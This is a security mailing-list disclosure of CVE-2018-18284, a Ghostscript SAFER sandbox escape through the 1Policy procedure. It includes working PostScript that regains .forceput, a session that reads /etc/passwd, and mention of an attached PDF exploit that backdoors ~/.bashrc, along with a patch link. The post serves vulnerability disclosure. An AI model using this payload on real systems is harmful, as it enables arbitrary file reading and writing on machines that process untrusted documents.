Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284

[Tavis Ormandy <taviso () google com>]

Apparently it wasn't clear that this allowed reading and writing of
arbitrary files, here is a full exploit (I just modified the CVE-2018-17961
exploit).

$ convert executeonly-bypass.pdf exploit.jpg
$ tail -1 ~/.bashrc
echo pwned by postscript


Thanks, Tavis.


On Tue, Oct 16, 2018 at 11:06 AM Tavis Ormandy <taviso () google com> wrote:

> Hello, this
> <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696> is
> CVE-2018-18284, another ghostscript sandbox escape. Because procedures in
> postscript are just executable arrays, all system procedures need to be
> marked as executeonly, so that users cannot peek at their internals with
> array operators.
>
> We have also recently learned that they must be marked as
> pseudo-operators, otherwise their contents might leak to error handlers.
>
> That makes sense, unless the procedure itself is dangerous - in that case
> it must be hidden.
>
> 1Policy is a procedure that was correctly marked as executeonly and made a
> pseudo-operator, but was basically just a wrapper around .forceput. Here is
> how to exploit it:
>
> /.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
> get exec pop pop pop pop pop pop pop } def
>
> Once you have access to .forceput, you can basically do whatever you want,
> see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.
>
> Here is a simpler repro, just reading /etc/passwd:
>
> $ gs -dSAFER -sDEVICE=ppmraw
> GPL Ghostscript 9.25 (2018-09-13)
> Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
> This software comes with NO WARRANTY: see the file PUBLIC for details.
> GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
> get exec pop pop pop pop pop pop pop } def
> GS>systemdict /SAFER false .forceput
> GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
> GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
> GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
> GS>(/etc/passwd) (r) file 1024 string readline pop ==
> (root:x:0:0:root:/root:/bin/bash)
> GS>
>
> This patch solves it:
>
>
> http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b
>
> Side note: I'm done looking at ghostscript for now, but still *strongly*
> recommend that we deprecate untrusted postscript and disable ghostscript
> coders by default in policy.xml.
>
> Thanks, Tavis.

Attachment: executeonly-bypass.pdf
Description: